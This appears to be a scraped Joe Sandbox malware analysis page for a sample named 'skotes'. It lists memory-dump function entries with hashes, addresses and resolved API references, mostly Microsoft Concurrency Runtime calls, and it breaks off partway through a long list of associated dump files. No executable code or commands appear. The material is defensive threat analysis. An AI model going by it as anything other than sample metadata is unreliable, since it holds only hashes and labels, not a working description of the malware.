Instruction ID: 1b523718c7693f3e24f31174b10c9db5e89f1f743e0619202605d8739dfdc371
Opcode Fuzzy Hash: e3fbc1b1d1b2d37297831bb57e826f4a2df4ffa890cbc1cb5072356692067c90
Instruction Fuzzy Hash: BE01CBA2A8C2406FC205606513263BBBF4F9783A24F30C52BE84B8EA42F2027056A1A0

Function 049D0C80 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ea63eb1ee1efe76a15cb487007c5937e42d5c39342a3b3b462168aff7515ad8
Instruction ID: c481e0d372200d32b9edbdde378e7d0be27bb02e756cdb6d44d0d00fc46d7046
Opcode Fuzzy Hash: 3ea63eb1ee1efe76a15cb487007c5937e42d5c39342a3b3b462168aff7515ad8
Instruction Fuzzy Hash: BCF0E2BA34D210FEA2824162A7153F93F0BE286738F30CD33F00B85A01B755365A7032

Function 049D0C96 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c289f04807968bab747a893981fb948770e344578bdda9a07f7b057080587a3
Instruction ID: c75b5b460a4bdc87e8eda06ffe0679e6913313e317d37fb9936e097b250701d7
Opcode Fuzzy Hash: 5c289f04807968bab747a893981fb948770e344578bdda9a07f7b057080587a3
Instruction Fuzzy Hash: 3BF0E2B574C214EE9241156682813FA7A5BA753738F20C93BB04B4AA02F7163699B032

Function 049D0CAB Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 984c0d0e8004df55d81f49c93c2cc5619acc61dc6f38bb79a49ef9705a7b75ce
Instruction ID: 1d124377c1b04986e7c412718620f07364771c6270cf43d94485f8c33228f314
Opcode Fuzzy Hash: 984c0d0e8004df55d81f49c93c2cc5619acc61dc6f38bb79a49ef9705a7b75ce
Instruction Fuzzy Hash: D2F0ECAA349200BEA1810176A2502BA3E1FA356338F30CD33F44B8AA01B611365A7032

Function 049D0CCA Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a80c922a9bccc3845b1b6e7272221e56b00223cd0d1d28277907c642a6e2d32
Instruction ID: 93cb91cbaa539c6dc9955bdef8eaa14fc3faecc27b77c81752cdd88623d1f4ef
Opcode Fuzzy Hash: 8a80c922a9bccc3845b1b6e7272221e56b00223cd0d1d28277907c642a6e2d32
Instruction Fuzzy Hash: D7E0AB9228C290EF920501621B156B3BF2FE043234B61CA3BF08F86E03B205360D6433

Function 049D0CD3 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347590688e9c3349a604eb92c1ad80da0b15209d74f2be0bd6367fb40768ff97
Instruction ID: 960e51514e4f67fe9d41c43e282e1747d6958c847ba4f966aab49c74cded4d43
Opcode Fuzzy Hash: 347590688e9c3349a604eb92c1ad80da0b15209d74f2be0bd6367fb40768ff97
Instruction Fuzzy Hash: 2BE02B9224C250BED14646521A15576BF2EE553234721CE2BF08B85953B6463619A532

Function 049D0CBC Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd6e6d245b17f002c618f2c9f45283bce512bc9a90f818cf5496f5eca002c97
Instruction ID: 52ff130e5871c9ff18b822af04a25c43cd24fd1c23bcbddf41916936d4980318
Opcode Fuzzy Hash: 3dd6e6d245b17f002c618f2c9f45283bce512bc9a90f818cf5496f5eca002c97
Instruction Fuzzy Hash: DFE0DFE5749208EA5140026257542FA7A6FF953738F21CE3BF44B8A611BB50394AB032

Function 049D0CF8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b857582c13f1cfee93df04bda31048dc8f0a202a23b4b527f760bbb7f2e48c7
Instruction ID: febcdf1e3fed804efa6d6aade6142aced6ae3e52ac5ace6b2a3086c3ddf35250
Opcode Fuzzy Hash: 0b857582c13f1cfee93df04bda31048dc8f0a202a23b4b527f760bbb7f2e48c7
Instruction Fuzzy Hash: CAD02BE628C550EB519001A2251027AFA2FE5C2334B21C937B09B819047B10341AB833

Function 049D0D0E Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3404048544.00000000049D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49d0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be9d848e05e8244cb1e48c0ea3fa90338d07f6321ae183b42a1e95a2a30a25ca
Instruction ID: 0d71a546bb2898d976378678159958a3e22436d474dceaf709a4634b5c3e8acc
Opcode Fuzzy Hash: be9d848e05e8244cb1e48c0ea3fa90338d07f6321ae183b42a1e95a2a30a25ca
Instruction Fuzzy Hash: ACD02BC7A8C2586B0240109532603F3795F9187134B20C437EC079BD45F24628116071

Non-executed Functions

Function 00BA0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA0F62

Part of subcall function 00BA265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00BA2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00BA0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00BA10C1

Strings

(, xrefs: 00BA0F22

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 59ce967be32e287c72e062b7b7ac3bee9d7a32b6d7d540927ecc338fae807ad6
Instruction ID: a49ba28f5276ac64566daac4956e8458fcc3c38a043b845df97e82af319dddf4
Opcode Fuzzy Hash: 59ce967be32e287c72e062b7b7ac3bee9d7a32b6d7d540927ecc338fae807ad6
Instruction Fuzzy Hash: 6CB17BB0A04615EFCB28DF68D981A7EB7F4FF49304F1445AEE905AB281D730AD81CB90

Function 00BA1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00BA2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00BA1614

Part of subcall function 00BA2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00BA2E39
Part of subcall function 00BA2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00BA2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00BA1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00BA17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00BA17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00BA17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00BA180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00BA181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00BA1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00BA183B

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 9b3c2b9185c6467f3dc5662f162799faa19f5cfdbb98342c1d3d5ff4c2e6cec3
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 5D8157B1E04225AFCB19DFACC580A6DB7F6FF49304F154AA9D445AB701C730AD52CB84

Function 00BAEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BAEC81

Part of subcall function 00BA8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00BA8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BAECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00BAECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00BAED0C

Part of subcall function 00BAE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00BAE7D7
Part of subcall function 00BAE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00BAE86F
Part of subcall function 00BAE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BAE879
Part of subcall function 00BAE7AF: Concurrency::location::_Assign.LIBCMT ref: 00BAE8AD
Part of subcall function 00BAE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BAE8B5

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: e34dfe5e904dec34dcf20294709eb14363276b1fb557e0911020dbe21ed91e05
Instruction ID: c39991993f5830258176c2d22130ced05e142387c6ef3382fc294335641c4be9
Opcode Fuzzy Hash: e34dfe5e904dec34dcf20294709eb14363276b1fb557e0911020dbe21ed91e05
Instruction Fuzzy Hash: BF51AF31A05205ABCF24EF60C895BADB7B1EF45310F1440E9E9567B3A2CB71AE05CBA1

Function 00B9CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00B9CBAA

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
